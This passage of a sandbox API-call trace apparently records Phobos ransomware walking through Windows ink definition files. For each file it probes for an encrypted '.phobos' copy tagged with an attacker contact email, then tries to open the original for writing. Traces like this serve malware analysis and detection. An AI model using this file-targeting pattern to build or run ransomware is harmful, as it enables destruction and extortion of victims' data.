dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.269] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0049.269] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0049.274] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=3524) returned 1 [0049.274] CloseHandle (hObject=0x318) returned 1 [0049.274] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml")) returned 0x20 [0049.274] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0049.274] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.274] SetEvent (hEvent=0x2e8) returned 1 [0049.274] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0049.274] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0049.275] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=3529) returned 1 [0049.275] CloseHandle (hObject=0x318) returned 1 [0049.275] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml")) returned 0x20 [0049.275] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0049.276] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.276] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0049.276] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0049.279] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=804) returned 1 [0049.279] CloseHandle (hObject=0x318) returned 1 [0049.279] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml")) returned 0x20 [0049.279] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0049.279] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.279] SetEvent (hEvent=0x2e8) returned 1 [0049.279] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0049.279] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0049.280] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=617) returned 1 [0049.280] CloseHandle (hObject=0x318) returned 1 [0049.280] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml")) returned 0x20 [0049.280] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0049.280] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.280] SetEvent (hEvent=0x2e8) returned 1 [0049.280] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0049.280] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0049.281] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=16616) returned 1 [0049.281] CloseHandle (hObject=0x318) returned 1 [0049.281] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml")) returned 0x20 [0049.281] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0049.281] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.281] SetEvent (hEvent=0x2e8) returned 1 [0049.282] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0049.282] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0049.291] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=9803) returned 1 [0049.291] CloseHandle (hObject=0x318) returned 1 [0049.291] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml")) returned 0x20 [0049.291] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0049.291] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.292] SetEvent (hEvent=0x2e8) returned 1 [0049.292] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0049.292] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0049.294] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=10947) returned 1 [0049.294] CloseHandle (hObject=0x318) returned 1 [0049.294] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml")) returned 0x20 [0049.295] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0049.295] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.295] SetEvent (hEvent=0x2e8) returned 1 [0049.295] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0049.295] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0049.296] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=221) returned 1 [0049.296] CloseHandle (hObject=0x318) returned 1 [0049.296] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml")) returned 0x20 [0049.296] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0049.296] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.296] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0049.296] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0049.297] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=471) returned 1 [0049.297] CloseHandle (hObject=0x318) returned 1 [0049.297] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml")) returned 0x20 [0049.297] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0049.297] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.297] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0049.297] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0049.298] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=215) returned 1 [0049.298] CloseHandle (hObject=0x318) returned 1 [0049.298] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml")) returned 0x20 [0049.298] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0049.298] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.298] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0049.298] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0049.298] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=1069) returned 1 [0049.298] CloseHandle (hObject=0x318) returned 1 [0049.298] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml")) returned 0x20 [0049.298] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0049.299] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.299] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0049.299] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0049.299] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=213) returned 1 [0049.299] CloseHandle (hObject=0x318) returned 1 [0049.299] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml")) returned 0x20 [0049.299] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0049.299] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.300] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0049.300] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0049.302] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=1853) returned 1 [0049.302] CloseHandle (hObject=0x318) returned 1 [0049.303] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml")) returned 0x20 [0049.303] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0049.303] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.303] SetEvent (hEvent=0x2e8) returned 1 [0049.303] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0049.303] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0049.303] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=924) returned 1 [0049.303] CloseHandle (hObject=0x318) returned 1 [0049.303] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml")) returned 0x20 [0049.304] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0049.304] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.304] SetEvent (hEvent=0x2e8) returned 1 [0049.304] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0049.304] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0049.309] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=215) returned 1 [0049.309] CloseHandle (hObject=0x318) returned 1 [0049.309] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml")) returned 0x20 [0049.309] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0049.309] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.309] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0049.310] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0049.323] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=591) returned 1 [0049.323] CloseHandle (hObject=0x318) returned 1 [0049.323] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml")) returned 0x20 [0049.323] GetFileAttributesW 